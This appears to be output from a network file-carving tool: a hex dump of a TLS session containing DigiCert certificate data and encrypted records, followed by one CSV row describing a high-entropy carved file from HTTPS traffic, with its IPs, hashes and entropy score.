69 67 69 43 65 72 74 47 6c 6f 62 61 6c 47 32 54 4c 53 52 53 41 53 48 41 32 35 36 32 30 32 30 43 41 31 2d 31 2e 63 72 6c 30 81 87 06 08 2b 06 01 05 05 07 01 01 04 7b 30 79 30 24 06 08 2b 06 01 05 05 07 30 01 86 18 68 74 74 70 3a 2f 2f 6f 63 73 70 2e 64 69 67 69 63 65 72 74 2e 63 6f 6d 30 51 06 08 2b 06 01 05 05 07 30 02 86 45 68 74 74 70 3a 2f 2f 63 61 63 65 72 74 73 2e 64 69 67 69 63 65 72 74 2e 63 6f 6d 2f 44 69 67 69 43 65 72 74 47 6c 6f 62 61 6c 47 32 54 4c 53 52 53 41 53 48 41 32 35 36 32 30 32 30 43 41 31 2d 31 2e 63 72 74 30 0c 06 03 55 1d 13 01 01 ff 04 02 30 00 30 82 01 7d 06 0a 2b 06 01 04 01 d6 79 02 04 02 04 82 01 6d 04 82 01 69 01 67 00 76 00 c2 31 7e 57 45 19 a3 45 ee 7f 38 de b2 90 41 eb c7 c2 21 5a 22 bf 7f d5 b5 ad 76 9a d9 0e 52 cd 00 00 01 9d 02 27 fa 81 00 00 04 03 00 47 30 45 02 20 65 03 d2 b3 b9 5c 5a 3a fb 9c 23 6d 63 a4 98 27 a2 3c ff 95 9c 02 b2 86 93 fa 4b 0b a1 ff 79 f3 02 21 00 92 61 07 97 1c 23 5c 13 3a a4 38 1f 9f 19 43 c1 0e 6f 9f 06 5a 00 8a 1c dd 69 c2 4a 3a e8 4e 9e 00 75 00 d8 09 55 3b 94 4f 7a ff c8 16 19 6f 94 4f 85 ab b0 f8 fc 5e 87 55 26 0f 15 d1 2e 72 bb 45 4b 14 00 00 01 9d 02 27 fa b6 00 00 04 03 00 46 30 44 02 20 59 fb 3c ec a6 4c 86 42 f9 03 36 57 0c 90 b3 77 88 e0 61 fd 0e 50 56 d8 98 38 96 d8 9b 8f 18 98 02 20 70 90 7a 4e d1 25 44 ec e6 3d e2 a4 7b 3c 7e 1b bc 48 cd 7f 17 cb 88 71 32 24 fd 1d 05 48 33 33 00 76 00 94 4e 43 87 fa ec c1 ef 81 f3 19 24 26 a8 18 65 01 c7 d3 5f 38 02 01 3f 72 67 7d 55 37 2e 19 d8 00 00 01 9d 02 27 fa 8e 00 00 04 03 00 47 30 45 02 21 00 bd 0d 16 c1 72 d2 97 d7 e7 7a 36 0b 09 f5 ac 4b 96 90 76 78 7a ea a5 e5 dd 33 89 4d 3d 11 80 08 02 20 79 46 29 5b 52 6f b4 44 ae ca 90 48 88 e1 ae da a1 88 ad e2 b5 0a bf b7 05 37 2a d7 60 1a c6 0d 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 03 82 01 01 00 c8 d9 9f 18 d8 2d bd 8f df d8 d5 8d d4 40 4d b2 7c 38 25 d1 73 ec 17 50 fc 69 59 6c f7 f7 26 8f 13 f7 b9 82 f0 74 dd ce 49 d3 33 cf 5f 6e 80 24 35 c8 6f 6c 26 58 76 cc 89 56 36 74 1e ec 7a 54 3b d2 b4 f5 83 72 d6 1a 17 1e 67 53 cb 35 bf 16 ba bf 0f ee dd 03 2e c8 5c 7d 8d 80 f5 1c b7 52 09 52 5f 57 ec 8d 10 dd c3 a4 e7 92 30 09 d3 46 34 b8 38 3d 79 f4 61 eb d1 75 2b 81 f5 b7 2c 63 eb c2 d5 ac b1 af 15 97 ae 4f ea 4a 04 e7 46 13 0a a2 23 8f ed 38 e5 e6 42 3e 2a 49 da ee 7f 87 2b 2f 42 10 da d2 be c1 78 d6 dd b3 d1 28 12 da c0 af 73 86 a5 a6 25 3c ae f1 cf d7 03 39 d1 42 e9 52 90 27 4b 6d af f3 41 fe f1 27 5f 1b c0 ec 3b dc 5c 30 36 87 94 28 1a 81 ff da a1 ba 0b 87 86 9f cf 9f 7b c9 74 fb 79 d8 70 c2 20 43 2b de dd 63 d1 d0 71 0a b1 75 8d a5 5e d1 de 17 1b 80 00 04 cc 30 82 04 c8 30 82 03 b0 a0 03 02 01 02 02 10 0c f5 bd 06 2b 56 02 f4 7a b8 50 2c 23 cc f0 66 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 61 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 15 30 13 06 03 55 04 0a 13 0c 44 69 67 69 43 65 72 74 20 49 6e 63 31 19 30 17 06 03 55 04 0b 13 10 77 77 77 2e 64 69 67 69 63 65 72 74 2e 63 6f 6d 31 20 30 1e 06 03 55 04 03 13 17 44 69 67 69 43 65 72 74 20 47 6c 6f 62 61 6c 20 52 6f 6f 74 20 47 32 30 1e 17 0d 32 31 30 33 33 30 30 30 30 30 30 30 5a 17 0d 33 31 30 33 32 39 32 33 35 39 35 39 5a 30 59 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 15 30 13 06 03 55 04 0a 13 0c 44 69 67 69 43 65 72 74 20 49 6e 63 31 33 30 31 06 03 55 04 03 13 2a 44 69 67 69 43 65 72 74 20 47 6c 6f 62 61 6c 20 47 32 20 54 4c 53 20 52 53 41 20 53 48 41 32 35 36 20 32 30 32 30 20 43 41 31 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 cc f7 10 62 4f a6 bb 63 6f ed 90 52 56 c5 6d 27 7b 7a 12 56 8a f1 f4 f9 d6 e7 e1 8f bd 95 ab f2 60 41 15 70 db 12 00 fa 27 0a b5 57 38 5b 7d b2 51 93 71 95 0e 6a 41 94 5b 35 1b fa 7b fa bb c5 be 24 30 fe 56 ef c4 f3 7d 97 e3 14 f5 14 4d cb a7 10 f2 16 ea ab 22 f0 31 22 11 61 69 90 26 ba 78 d9 97 1f e3 7d 66 ab 75 44 95 73 c8 ac ff ef 5d 0a 8a 59 43 e1 ac b2 3a 0f f3 48 fc d7 6b 37 c1 63 dc de 46 d6 db 45 fe 7d 23 fd 90 e8 51 07 1e 51 a3 5f ed 49 46 54 7f 2c 88 c5 f4 13 9c 97 15 3c 03 e8 a1 39 dc 69 0c 32 c1 af 16 57 4c 94 47 42 7c a2 c8 9c 7d e6 d4 4d 54 af 42 99 a8 c1 04 c2 77 9c d6 48 e4 ce 11 e0 2a 80 99 f0 43 70 cf 3f 76 6b d1 4c 49 ab 24 5e c2 0d 82 fd 46 a8 ab 6c 93 cc 62 52 42 75 92 f8 9a fa 5e 5e b2 b0 61 e5 1f 1f b9 7f 09 98 e8 3d fa 83 7f 47 69 a1 02 03 01 00 01 a3 82 01 82 30 82 01 7e 30 12 06 03 55 1d 13 01 01 ff 04 08 30 06 01 01 ff 02 01 00 30 1d 06 03 55 1d 0e 04 16 04 14 74 85 80 c0 66 c7 df 37 de cf bd 29 37 aa 03 1d be ed cd 17 30 1f 06 03 55 1d 23 04 18 30 16 80 14 4e 22 54 20 18 95 e6 e3 6e e6 0f fa fa b9 12 ed 06 17 8f 39 30 0e 06 03 55 1d 0f 01 01 ff 04 04 03 02 01 86 30 1d 06 03 55 1d 25 04 16 30 14 06 08 2b 06 01 05 05 07 03 01 06 08 2b 06 01 05 05 07 03 02 30 76 06 08 2b 06 01 05 05 07 01 01 04 6a 30 68 30 24 06 08 2b 06 01 05 05 07 30 01 86 18 68 74 74 70 3a 2f 2f 6f 63 73 70 2e 64 69 67 69 63 65 72 74 2e 63 6f 6d 30 40 06 08 2b 06 01 05 05 07 30 02 86 34 68 74 74 70 3a 2f 2f 63 61 63 65 72 74 73 2e 64 69 67 69 63 65 72 74 2e 63 6f 6d 2f 44 69 67 69 43 65 72 74 47 6c 6f 62 61 6c 52 6f 6f 74 47 32 2e 63 72 74 30 42 06 03 55 1d 1f 04 3b 30 39 30 37 a0 35 a0 33 86 31 68 74 74 70 3a 2f 2f 63 72 6c 33 2e 64 69 67 69 63 65 72 74 2e 63 6f 6d 2f 44 69 67 69 43 65 72 74 47 6c 6f 62 61 6c 52 6f 6f 74 47 32 2e 63 72 6c 30 3d 06 03 55 1d 20 04 36 30 34 30 0b 06 09 60 86 48 01 86 fd 6c 02 01 30 07 06 05 67 81 0c 01 01 30 08 06 06 67 81 0c 01 02 01 30 08 06 06 67 81 0c 01 02 02 30 08 06 06 67 81 0c 01 02 03 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 03 82 01 01 00 90 f1 70 cb 28 97 69 97 7c 74 fd c0 fa 26 7b 53 ab ad cd 65 fd ba 9c 06 9c 8a d7 5a 43 87 ed 4d 4c 56 5f ad c1 c5 b5 05 20 2e 59 d1 ff 4a f5 a0 2a d8 b0 95 ad c9 2e 4a 3b d7 a7 f6 6f 88 29 fc 30 3f 24 84 bb c3 b7 7b 93 07 2c af 87 6b 76 33 ed 00 55 52 b2 59 9e e4 b9 d0 f3 df e7 0f fe dd f8 c4 b9 10 72 81 09 04 5f cf 97 9e 2e 32 75 8e cf 9a 58 d2 57 31 7e 37 01 81 b2 66 6d 29 1a b1 66 09 6d d1 6e 90 f4 b9 fa 2f 01 14 c5 5c 56 64 01 d9 7d 87 a8 38 53 9f 8b 5d 46 6d 5c c6 27 84 81 d4 7e 8c 8c a3 9b 52 e7 c6 88 ec 37 7c 2a fb f0 55 5a 38 72 10 d8 00 13 cf 4c 73 db aa 37 35 a8 29 81 69 9c 76 bc de 18 7b 90 d4 ca cf ef 67 03 fd 04 5a 21 16 b1 ff ea 3f df dc 82 f5 eb f4 59 92 23 0d 24 2a 95 25 4c ca a1 91 e6 d4 b7 ac 87 74 b3 f1 6d a3 99 db f9 d5 bd 84 40 9f 07 98 16 00 01 db 01 00 01 d7 30 82 01 d3 0a 01 00 a0 82 01 cc 30 82 01 c8 06 09 2b 06 01 05 05 07 30 01 01 04 82 01 b9 30 82 01 b5 30 81 9e a2 16 04 14 74 85 80 c0 66 c7 df 37 de cf bd 29 37 aa 03 1d be ed cd 17 18 0f 32 30 32 36 30 36 32 36 30 37 31 38 35 30 5a 30 73 30 71 30 49 30 09 06 05 2b 0e 03 02 1a 05 00 04 14 a7 c4 b8 b3 dc 5b b5 58 1e a7 d7 f1 3a c5 69 f5 6f 48 d7 89 04 14 74 85 80 c0 66 c7 df 37 de cf bd 29 37 aa 03 1d be ed cd 17 02 10 05 90 cb d3 65 66 7f 41 04 a9 a2 69 0c 5b 7c 73 80 00 18 0f 32 30 32 36 30 36 32 36 30 37 30 33 30 30 5a a0 11 18 0f 32 30 32 36 30 37 30 33 30 36 30 33 30 30 5a 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 03 82 01 01 00 70 30 64 bf fb 16 fa 1a bf dc b2 ee 45 09 a8 78 62 fb 13 83 dc f4 53 9e d9 92 d5 b4 36 5c 08 01 2c 78 e7 ee d3 65 13 6b 75 7a b4 51 8e 88 fc 1c d7 f6 66 c8 c6 06 9e b9 6e dd cd 1e 0d ec 1c 0c 1e 57 05 34 47 48 f9 52 ed 14 ae 65 bb 97 7d ae bb 2a 6a 1a b0 04 e9 66 ab 21 cf 70 30 af 83 e7 40 8b 76 ab 69 56 db f8 f5 6a 0a 2d 47 30 ae a2 70 8e f5 37 75 1b ac 9c e9 c4 c6 d5 a3 e0 23 e7 62 b9 9f c5 30 fa 94 95 7d 31 c2 6c 2f ed 0e 77 6e 2d 30 64 15 84 f8 5e 11 03 ef be c0 d2 3c be ed c0 f1 ff 3f 44 dd 70 9e 5d 07 1b 5d 9f bd 80 be 97 ef 6e e2 04 e1 13 e0 67 51 93 da a9 d5 0d 4e 85 68 54 2b 80 65 ed 13 29 41 ff 75 3c 09 f7 71 b3 51 a0 0b e1 76 c1 04 f8 4f 18 ea 74 89 a5 aa c0 63 f4 19 1d 1d db cc 6d 29 3c 7a aa 6a 25 8a 22 f7 71 ae 3a 8d 3a b3 bd 36 8a dd 81 25 3a 0c 00 01 69 03 00 18 61 04 87 99 b9 fb 6c a3 e5 03 a8 94 e6 44 f4 9d 35 f4 b2 b7 c1 e4 97 79 5e 00 81 b6 62 63 82 e0 b8 1b bc 4b 69 6c cb bd 1c 12 1c b1 37 84 61 e0 8f a8 ce a5 7e f3 5b c9 7e 55 9d 19 65 a1 ec 0c 8f 95 1b fd aa d1 92 94 71 d0 64 1d b5 e7 bf b0 f1 ff 50 6b 64 f9 e0 66 54 55 da 9c 52 0f 5e 8d 20 84 08 04 01 00 42 a6 1e f4 fb 55 3c ad 0e e8 1f 1f c4 8c 9a 96 eb 32 e7 7b 57 91 64 6f 6a 33 54 42 9e 01 f7 5c 06 06 01 1d 4c 30 49 a8 e6 b3 ec eb 4c 21 bc 7b 47 af 0a 21 bf f3 21 3e 23 40 da 3b 2f 47 d8 f2 f1 8d 54 f3 12 55 8c fb 85 0c f4 7c 60 b9 ca 5c 61 4f 17 37 c0 31 88 bd 44 a0 06 de 66 0f 65 2c 57 8c 5d d2 53 aa 29 0a 31 b4 31 8a f3 f1 a0 ba 94 e2 2a ca 38 61 97 af 87 79 1d bd 5c 3a 92 aa d5 8f 81 ac f1 6d b8 d4 fa f3 3a 16 41 b8 56 f5 01 9f 9c 1b 22 76 d2 ab 01 a4 1f d3 25 27 af 22 02 22 df 4b 51 cb 21 f4 85 67 da 3c 67 ca 7d 21 93 99 da 82 d4 49 be da 92 10 b0 fa b3 97 d6 d6 86 df 6d df e7 fa c2 e1 8a f5 41 0f 99 4d cc 9e 96 ca 89 d7 4b e3 bb c7 7c cd a2 cb 5b d6 e4 d9 e2 c5 87 64 2a a9 1a d3 e4 8b 7a 07 db 54 e4 35 44 48 0f 1e 36 b0 1e 95 dc 1c 8a 3c 07 24 03 3f 0e 00 00 00 16 03 03 01 2e 04 00 01 2a 00 00 8c a0 01 24 00 00 00 00 9e ed 9f 92 c4 68 49 48 91 09 b6 ea cd 2b 6c cc 26 93 ef 45 3e 0f 74 97 7d 5c 50 61 9a 03 14 32 38 96 80 04 5e 86 b1 2d c7 15 a8 6c d1 a2 22 72 bd cd 82 85 b8 d2 0a a7 60 3a 03 1b ad 4e 8f 7e a5 b4 7b 3c 20 fb 70 63 c7 09 87 77 9b 3a 5c a9 bb 96 b7 31 3a c9 48 58 67 14 51 33 38 2c 2c d9 26 68 d7 02 db 29 1f 21 24 fe 20 ba fb a2 0c cf 37 44 b0 b6 1b cf 97 41 78 cb 46 38 71 94 08 40 c7 8e 5f 7f d5 b7 43 67 e5 80 e0 cf 85 e3 c6 44 9d f0 02 f9 93 df 73 8d 87 a2 19 6d 22 73 d0 42 be 00 a8 cd 6d da 6b 81 4e 40 c4 b2 f7 10 ab fb e4 10 4e b9 c8 2c c1 57 b6 2b d3 f5 9e 2d e7 2f a6 a2 1c 64 d6 2e a1 ca 6d 3c 33 8e 37 17 1d 70 5d 11 32 cb 70 2d 5a cb 92 33 0e 9f 40 63 82 13 fc 1f 4b 02 23 f4 e6 d8 cc c2 c8 6c 51 d2 c9 3b 09 fc 6e b7 89 7e 28 2d 0f 66 4a dc c1 56 cb 37 e3 f0 91 3f 0c 4a d0 d8 0e 47 d7 58 5f 67 8d 5d 3e f5 d4 c7 84 54 7f fb b7 9e e9 2d 00 6e 27 fa 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 0e d1 38 63 1a c4 1f b7 85 40 94 1c 1e e4 5d d8 ae 86 14 05 86 dd d7 f9 1e ac da 0b 51 35 24 8f 17 03 03 00 40 00 00 00 00 00 00 00 01 d6 ec b1 0e 43 c9 ca 82 50 86 e2 56 c6 25 19 f9 1c b7 a7 fc 8a 07 32 24 09 43 3b 7c f9 b6 0e 46 83 bb 9c 23 48 1e 77 bc 6f f2 6c 8e 42 e6 da 70 c6 25 51 b1 b5 34 2d e5 17 03 03 00 21 00 00 00 00 00 00 00 02 51 ea 2c 76 f0 ae 73 9e 4a 73 16 02 1f fa d2 f4 b9 8e 0d b7 e5 cd 51 ae 72 17 03 03 03 53 00 00 00 00 00 00 00 03 bf af 30 42 15 6a 24 7c b1 a4 64 76 52 95 11 c4 18 a1 2e df 4b 0f c1 f0 95 20 3a 8c bb e7 11 59 c1 46 db 81 39 5e bc 2e d2 96 6c c2 8d dd d0 b3 a7 7c 29 b6 ec 30 8a 2e 80 cb 76 db 2f a7 08 0d c7 5f 0d 53 7e 4d 89 29 b6 b2 a4 06 21 f5 56 1d 58 51 90 24 5d 53 36 45 bd bb 5f f8 47 6d 2a ee 1d 9c a7 05 fd 52 5d 84 73 42 b0 72 64 a0 4a 6e e8 4a dc 62 b9 3f 7b 0b 26 b6 f5 de 8a 47 4e 0b e5 f4 75 4f b5 f0 d3 11 2e 8c fb b8 0e 17 34 90 db 98 22 6f 19 bf ce 4b 56 a6 c5 6e 46 47 65 11 34 3c 40 a2 c1 ce 0c 8f 25 ca 07 79 1c db 88 ba 17 d9 e9 4e 1e 74 8b 75 e5 eb 55 39 d7 d7 03 42 84 56 5f 3d 5f 1a 2e 1f 32 8f bf da a8 d1 1a a2 76 4e 40 e1 14 86 91 39 8a 2b be 10 52 25 1b 82 98 ce 36 62 e3 29 3c 4f 3a 3d 9e 74 94 bf 02 01 0c eb da 55 4c 4f dd a5 a0 b3 00 ff d2 bf 92 63 87 26 ad b5 4b 20 fb 1f 8b aa f7 4a b5 85 92 14 28 16 bb 57 c4 aa 8c 3c c2 2b ba 0b e9 30 64 b4 d7 2d fa 42 d6 2c 99 80 4a 74 42 98 ca c7 88 0e 03 51 5b ec cc cd 2d b9 6d 1a e3 35 33 72 e8 6b a4 ae aa 00 91 c9 1f 1f c4 de 15 9a cc 12 b8 90 b9 ae fe a2 a7 4c 07 e6 e2 68 c5 52 ab 4b 5a 36 83 11 45 14 81 97 07 97 91 5b dd 6e 2b af 4c 2a de 4c a5 b1 a0 dc 21 9b 5b cf fd 03 1b 44 e5 53 f0 95 28 00 a0 11 b8 c5 c5 fc 5c 39 59 92 2b 43 1d 74 ac 81 a0 4a 91 42 ac 37 93 bf 5c 15 d4 d9 c4 3f 25 b5 0f 45 fe 39 47 5e e6 13 1c ee 3a db 3f 57 02 53 b8 4e 50 24 6d 4b 4e 99 0c 31 d5 db 3b 51 57 2f 3f 31 e1 bc 0a 01 01 a3 91 cd 06 b2 dd 54 f2 73 26 36 0c 20 b5 00 30 58 19 9c 25 85 e0 bc c9 01 30 7a 12 80 d0 2e e1 b7 a8 da f8 4e d5 e5 50 63 71 00 a5 3d fb ec 21 11 43 f9 ae dd 25 7e 32 a9 6d fd 69 84 1b 85 de 9e 32 93 6b 8e c9 35 7d 25 9e 87 80 c5 d0 91 a4 ee 70 94 b1 36 29 ad 8b 4c 48 d2 93 fa 9a 86 df bd b6 86 6f 85 da 42 39 0a 3c af 2b a9 2d 86 f2 a4 ec 11 d8 e0 a6 2c 6e 20 8e 09 a6 bd a3 d1 fa 75 c3 38 d5 f3 9d 78 13 1d 30 4b 34 5b 61 9d 47 82 44 4d 84 47 3e 57 5b 58 71 f7 4b f5 88 e0 df 78 cd fd e9 23 10 b6 36 6c 40 ef 50 96 8f 53 59 51 0f e8 fd 99 58 d1 60 5f 5d 2e 66 5a 63 36 29 91 42 51 28 67 0f 97 33 bb 92 e3 a2 d0 1b 22 2d ac b5 c1 30 4a 24 a7 ab 04 91 ac 70 fc b0 d5 dc 4c f4 b5 51 39 e9 1d cc 46 b8 fe 7b 8c db 0f d8 dd c6 2e 6c 18 cd 2e f6 b0 5e de d9 33 41 02 7f ab 9b e7 97 6e 15 e3 1c 51 1c 1a f1 86 e4 f5 25 b3 ee fd 0e 18 6b 96 8d 90 1c a4 42 31 14 8a c7 54 90 4f 0b d2 57 fe 6d 41 2c cd ce 9f 86 88 d2 73 f3 c2 e4 45 71 30 00 48 1d 46 a2 98 cd c8 16 4d 0f 53 44 92 cf 2c cc 73 7b c1 87 8a f3 a7 50 b0 52 c6 38 8a 38 1b 98 f2 09 04 3d 24 69 2b 74 8b 4e 9c 65 66 ec 15 fe de 99 bd ae ea 8c 1a 72 aa 7f f5 8d 55 78 81 c4 38 75 ba bc b2 00 16 c5 17 03 03 00 cf 00 00 00 00 00 00 00 04 bd 69 09 ed 5c 90 bf 18 67 10 bd 21 b8 cb 90 e0 09 0e ab 06 6c d3 2f 31 8b 5d 00 8e 45 b1 f0 c9 b1 39 5a 57 ca df 4c 4a 0c 54 44 13 49 1a e6 ea ad 93 64 ee 01 18 d7 87 31 6d 8a f2 c1 96 45 ea 1a 8f da 32 aa 31 93 20 7e fe 34 b7 d0 b6 9c ee 45 67 f2 c7 37 2a 49 73 82 a4 92 d0 9e 82 12 b5 90 11 d4 43 ad 86 67 a5 93 ba ce 2d d3 df 73 fa 93 84 4b 92 7a c6 52 ac c5 07 58 d8 f4 92 37 98 1a 74 96 46 45 e6 08 c9 99 c0 b0 46 3a 80 13 b1 c8 46 dc 81 6f 9a 10 45 4b 15 f9 78 d7 18 41 02 46 6c 2a c5 53 e1 7d 05 ed 71 10 1a b9 63 0d 59 ea cf 6d e0 76 62 2a 43 2b 03 3d 5e fb 91 9c 82 c2 09 2b cd c1 af 56 17 03 03 00 21 00 00 00 00 00 00 00 05 e4 6f 13 e3 0d 48 a0 23 36 be 04 92 b5 f2 2d b3 2e 27 82 6e fc e1 30 8d 67 17 03 03 02 b6 00 00 00 00 00 00 00 06 f8 26 d7 dd f1 ba 9b c1 20 8b 7b 31 c8 9d 9d 77 f1 94 54 5d fb 3f d0 b2 a5 85 c4 54 fa e4 95 f5 27 53 52 d7 ca f6 3b a2 ba ec 95 01 f5 96 9e 31 a6 16 a6 50 72 ab 03 84 95 f2 41 72 2c b9 b7 52 42 d3 c9 a3 e3 9a b1 90 65 5f e3 4d 61 81 4a 97 d2 c8 27 b2 35 bf 7d e4 2c 0b 11 1e bc 5b 5f f7 7a 5f f2 71 23 5f 62 be ec d1 38 74 7b e7 ba 68 83 65 c9 09 f6 d8 96 a3 e2 e2 b7 98 27 07 2e 2f 3e ec b7 89 a1 15 95 12 7c 54 42 e3 1d 9e 7e 70 35 8f 98 44 24 f8 57 d6 39 3b fc 2a 69 47 b9 28 40 7e 53 d6 86 7e ba 32 6b c0 88 b7 bb ab 91 a8 5a 98 98 e9 cf ab a3 78 50 2e 65 35 1d 4b 6e 99 57 b3 4e 1a f6 ff 5e ff 1b d3 5d 1c 57 b1 d1 a6 a6 f2 8f 31 98 cc ec 12 4a a1 67 a4 39 41 ee 5f e0 0e 0f 8d 5b 62 9b e8 05 75 c8 a6 81 76 fa 43 f5 28 64 c0 21 c8 6d 2b f0 a7 2f 92 23 59 61 af 37 64 b3 a4 e4 9b 98 a7 32 70 f3 1e 24 31 21 f6 b8 4c 1a 77 f7 08 c6 36 79 7f 59 27 40 77 2a 89 92 bb b6 b6 a1 88 17 9a ad 09 85 93 dd 19 eb 9d 65 30 41 2c 50 d3 cc a9 1b 14 a6 5f 71 d3 27 68 d4 0a f0 4f 41 0b bc 16 c3 c1 95 cc 29 d5 3f 29 be 43 dc cc cb 96 f0 c9 65 af 1b c7 a8 c9 01 ca 73 84 9c 8a 08 c8 a2 75 0f b7 a1 aa 66 a8 4f 8e ec a7 03 55 f2 25 09 c7 89 e1 17 a3 14 79 60 55 d6 d3 28 89 85 2f df 7d 9b db 84 62 11 8d 67 1f 33 d1 13 02 bf d6 ea 48 74 67 cd 99 d5 61 53 5b 0b 0b d0 f9 40 f8 15 95 41 01 dd a9 7a bc e1 e1 ab 58 d5 77 f3 21 6b 94 56 26 82 64 06 02 b7 89 8d 9b 01 74 38 5a 35 cb 28 5e 8b 67 12 2b 7a dc 1b 7a 50 dc d4 2b 54 dc 87 6f 62 81 ac 24 3c 03 75 6c 00 b0 bc e6 a2 d6 89 72 27 c4 70 ac f6 a1 3a 90 65 53 e3 e3 65 f2 1e 39 22 91 f6 59 b0 8e 6b 24 f5 fb 5f 33 43 2e d2 4f 64 90 6e 63 92 43 22 86 b5 6b 46 ae 38 75 c5 8a c1 20 ca b1 dc 3a 7d fd 82 71 2b 42 09 a5 5a be 1f c7 cb b5 ea 73 17 63 ed cb c5 8e 46 f3 df 16 c3 6a 01 b7 df 71 42 22 bd 43 a9 e5 50 5a 56 19 ea 1c 13 46 96 98 d5 e2 42 14 26 bc 41 7d 57 3b b6 50 21 ae ec 9f 2e fd d4 b1 75 c5 a4 03 e4 5f 62 63 09 37 a8 a2 01 3f b1 ec 7d d4 b3 c6 ae 90 9a 5f 1e 31 eb 74 57 f7 b2 aa fb f1 d7 11 24 d2 64 39 c2 88 e1 46 e3 71 96 fe 50 fb 3c 25 a4 0c f4 0f ba bb a8 ed a8 bb 8a e1 8c 10 3f ee 5e a8 0a 04 10 4d 17 03 03 02 6f 00 00 00 00 00 00 00 07 3c 13 8e a9 16 96 f5 d3 62 70 bf c7 39 5e ec 17 be d8 24 de 97 cb b2 93 38 50 36 2f 70 a2 0f 2f 73 06 9a fb aa b2 d8 86 56 cb 2f 03 e6 38 89 98 d3 5d b3 1c c2 a6 62 ee 03 2c 9e d8 f9 b5 b3 58 0a d8 b8 cf a5 67 ac fb 14 ce 6d 6c 2c 2a ae b3 29 ee 9e c8 ec 8c f1 1e 84 07 52 70 82 94 9e 4f fe 4c 4c d1 2a 57 2a db 7f df 35 38 08 b0 93 c8 f5 e4 a6 d0 41 71 62 10 23 ae d3 ea 7f cb 58 9b 93 3c 49 99 39 3e c6 f8 87 95 8e 8c 56 73 6b 2b bb b0 93 80 31 45 99 95 00 e4 92 eb 15 31 5c c7 23 ad 8a ed e8 0f 28 ae 23 0c 76 03 30 1f 43 c5 36 57 10 7c a3 2f 62 f3 df fe d7 04 62 50 f5 a8 9b d7 bf 46 dc ab 5e dd 13 be 3c bc ef 05 ae e6 24 3f b1 46 91 95 2a 00 5a 92 66 b7 37 d9 34 e9 1e 4f eb 29 ad 4b b0 87 89 0a 24 93 40 69 d0 60 e0 ed 51 dd 14 21 3e f9 ff 1c 38 99 7a 18 fd 83 ee 60 22 8d b1 db f9 49 48 83 a4 dd 59 a2 1f 56 03 c9 85 eb 27 6c ff 77 01 7b d1 c7 90 41 28 fc 25 15 a7 d2 70 0e c5 0b da 9a b6 35 aa 80 a9 b0 03 42 38 60 2d b9 f1 92 6b 82 a5 7c 71 ab ab e0 8d 2f f4 f0 d6 44 38 4f c4 c9 10 a6 39 9a 6d 95 7b b6 b2 38 c7 2b a4 3c 9c c6 de 72 d9 1c 66 f4 e8 e2 cb 94 e7 df 48 23 c5 0a aa 35 1b 08 bc 3b 27 78 57 a4 8a 07 fd e3 b2 50 de d2 97 be ba 66 11 0c cb 3c 0a 06 c4 13 a2 31 4e e5 7c aa b6 74 e1 83 93 11 b0 24 91 ca 3e 4e 46 30 5b 74 71 63 e5 17 3f 75 67 6a 14 73 ec 2e c3 cd 1e 93 ab 62 50 56 35 6e b2 c6 c7 d1 ed 4f e3 87 6d d8 2e 22 4a 82 50 8a d2 1d e4 c8 91 5e a8 9f 5b 0c be 15 fe 43 95 62 b0 b0 9a a9 d9 48 dd a5 22 a8 2c 85 2f cb f2 59 18 9c c1 96 f9 a8 54 cf 8e 79 0e 2c d0 7b 68 82 f8 02 d4 3b 3f bf 12 13 04 4f 6a 1f bb 7a 7a ba d0 f1 ee 4a 19 4c 5a ca 84 5c 67 e0 2e 9a 44 9d b7 8b f0 10 bb e5 9f 08 d2 84 13 98 fc 68 5d d9 f9 c1 f7 9d b1 e0 ec e7 9f 33 33 ef fc 94 8a 5a 03 e1 db ea d1 03 eb f3 ab 6a 3b 84 3a 9b 34 71 8b f0 7c dd c4 ea f7 ed 61 3e 9a a7 34 a2 81 64 67 df fa 52 1f de c5 8c b9 37 78 82 fa a3 60 d4 d0 9a 06\n2026-06-28T19:42:55.083592,10.152.152.11:63946->184.30.157.69:443,10.152.152.11,63946,184.30.157.69,443,HTTP,carved_10.152.152.11:63946-184.30.157.69:443_fwd_0.script,script,/tmp/tmp6925_lng/carved_files/carved_10.152.152.11:63946-184.30.157.69:443_fwd_0.script,355,30d3cd9759914a5b45dab67239502472,9a75958731384396b3f2cab65b64c81b954f264648070587c395edbfa6b187e2,7.43,\"uGZ%, DPQb\",23 21 21 8d aa 52 20 0a 86 99 2d 7a 8b fb 5a d0 1b af ec bb 32 de 3f 82 82 8b c2 cb 11 76 60 e2 f0 39 77 21 db de 68 4c 7e 50 fe e7 c0 73 47 e4 e1 59 06 66 a1 28 45 65 0c 37 35 4d 8d fb e9 25 49 b3 24 3c 23 36 7d 2e 82 d3 cd e6 b8 f1 e0 d0 8a 11 fb 8e 2b ea 1e be ff e3 73 bf e2 ac a9 ee ea 9b 32 e4 74 79 bf d1 3f 81 12 aa ec 23 be 1b c5 89 c3 f5 37 0d 94 d9 e3 39 31 59 9d 27 f0 b9 93 8e d2 f4 df 26 92 84 e7 c2 e3 78 d6 7e ab c3 1f d3 1f 5c ce 96 86 b6 47 b2 f5 e9 1e 24 d3 fd 22 f0 0e 32 84 ef 39 15 5b 63 a7 13 e4 33 9f 0c 8a 4e a4 75 47 5a 25 90 81 d3 12 33 d0 df 84 cf 2b e6 a6 4a a8 e3 1b e5 4e 07 64 64 40 be cc 87 89 a0 41 c5 02 ce 91 a4 67 df 70 5c 3c a4 c6 3b 34 fa 2e d7 6d 17 47 10 56 46 47 ae 90 3e ff 1c 39 1b 5f 3f 48 b2 56 15 98 c2 a7 70 8b 76 a3 ea 92 88 3d 50 9f 5d 11 61 a0 9b 2f a6 00 a1 c2 8a 74 8e 80 ed c3 d7 cb 74 6a 7a b3 44 50 51 62 04 3f 16 dd f3 61 fe 7b 1a 9f 09 08 fb 8f 89 40 3f aa af 61 7c 0f 3d 64 03 62 9b ac 9d 9e 2c f3 69 5b 8a 56 18 5a 3f 0a 8f 95 5a 9f b9 37 49 b2 1c fc 49 41 05 7c 77 47 aa e1 cf 46 b8 d4 22 47 fa 00 c4 